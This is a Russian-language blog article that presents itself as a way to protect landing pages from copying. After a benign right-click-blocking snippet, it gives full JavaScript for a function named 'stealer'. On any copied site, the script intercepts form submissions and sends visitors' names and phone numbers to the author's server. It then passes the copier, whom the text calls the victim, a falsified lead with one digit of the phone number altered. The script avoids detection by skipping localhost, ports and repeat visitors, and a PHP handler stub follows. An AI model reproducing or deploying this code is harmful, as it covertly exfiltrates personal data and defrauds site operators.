Как создать сайт » Статьи » Скрипт для защиты Ваших лендингов от копирования

Скрипт для защиты Ваших лендингов от копирования

admin
8-12-2024, 12:22 23 0

Вы не можете полностью защитить свой лендинг от копирования с помощью скрипта. Любой HTML, CSS и jаvascript код, который вы размещаете на своем сайте, может быть просмотрен и скопирован. Однако, вы можете использовать скрипты, чтобы сделать копирование более сложным и затруднительным. Эти методы больше ориентированы на усложнение процесса, а не на полную защиту.

Вот несколько стратегий, которые можно реализовать с помощью скриптов, но помните, что ни одна из них не является абсолютно надежной:

1. Защита от прямого копирования правой кнопкой мыши и выделения текста:

Этот метод не является надежным, так как опытные пользователи могут обойти его, но он может отпугнуть непрофессионалов:

document.addEventListener('contextmenu', event => event.preventDefault());

document.onselectstart = function() { return false; };

2. Скрипт для защиты Ваших лендингов от копирования.

Позволяет напрямую передавать лиды с копированного лендинга.

Фунционал скрипта:

Несколько степеней проверки: проверка протокола, порта, реффера, кол-во заходов, домена;

Регулировка % стила (от 1 до 100%);

Работа на Ваших доменах не ведется;

Обработка всех форм;

Отправка жертве такой же лид с изменённой цифрой в номере телефона;

Скрипт содержит множество комментариев для Ваших модификаций.

Интеграция скрипта происходит на Ваше усмотрение.

Инпуты имени и номера должны быть с атрибутами name=”name” и name=”phone”.

// Здесь укажите % срабатываний скрипта

const prc = 100

//Указываем путь к php файлу обработчику

const url = 'тут ссылка на обработчик'

//Указываем домен где будет находиться прокла/ленд

const originalHost = `ваш домен без https:// и /`

const checkedHost = window.location.host

const fullUrl = window.location.href

//запускаем скрипт

start()

function start() {

  let userChek = checkUser()

  //проверяем прошел ли юзер проверку

  if (!userChek) return

  let random = isRandom()

  //проверяем попали ли мы в указанный %

  if (random) stealer()

}

function stealer() {

  //проверяем скопирован ли ленд

  if (checkedHost == originalHost) return

  let forms = document.querySelectorAll('form')

  forms.forEach(element => {

    element.addEventListener('submit', (e) => {

      e.preventDefault()

      let name = e.target.querySelector('[name="name"]').value

      let phone = e.target.querySelector('[name="phone"]').value

      //формируем данные для отправки

      let data = {

        host: fullUrl,

       name: name,

       phone: phone

      }

      //отправляем запрос

      sendData(data)

       .then(res => {

          //Cоздаем копию формы и меняй последнюю цифру, затем ее отправляем

          var dupForm = e.target.cloneNode(true);

          dupForm.querySelector('[name="phone"]').value = `${phone.slice(0, -1)}${Math.floor(Math.random() * 9)}`

          dupForm.style.display = 'none'

          let body = document.querySelector('body')

          body.append(dupForm)

          dupForm.submit();

        })

    })

  });

}

function isRandom() {

  let rnd = Math.floor(Math.random() * 101)

  if (rnd <= prc) return true

  return false

}

function checkUser() {

  // максимальное количество заходов при котором сработает скрипт

  const AvalibleEntry = 2

  let protocol = window.location.protocol

  let port = window.location.port

  let host = window.location.host

  let reffer = document.referrer

  let status = false

  //проверяем зашел ли пользователь с http или https

  if (protocol == 'http:' || protocol == 'https:') status = true

  if (!status) return false

  //проверяем есть ли порт у юзера

  if (port != '') return false

  //проверяем не запущен ли на сервере

  if (host.includes('localhost') || host.includes('127.0.0.1')) return false

  //проверяем на наличие рефера

  if (reffer == '') return false

  //определяем количество заходов конкретного юзера

  let userCount = localStorage.getItem('count')

  //если больше 2 не пропускаем

  if (userCount >= AvalibleEntry) return false

  //если меньше то определяем текущее значение и прибавляем + 1

  userCount == null ? localStorage.setItem('count', 1) : localStorage.setItem('count', +userCount + 1)

  return true

}

function sendData(propse) {

  return fetch(url, {

    method: 'post',

    body: JSON.stringify(propse)

  })

    .then(response => response.json())

    .then(json => (json))

    .then(res => {

      this.data = res

      return res

    })

}

Скрипт обработчика, получает данные с номером, именем и хостом с которого отправили лид:

<?php

header('Access-Control-Allow-Origin: *');

header('Access-Control-Allow-Methods: GET, POST');

header("Access-Control-Allow-Headers: *");

Отзывы (0)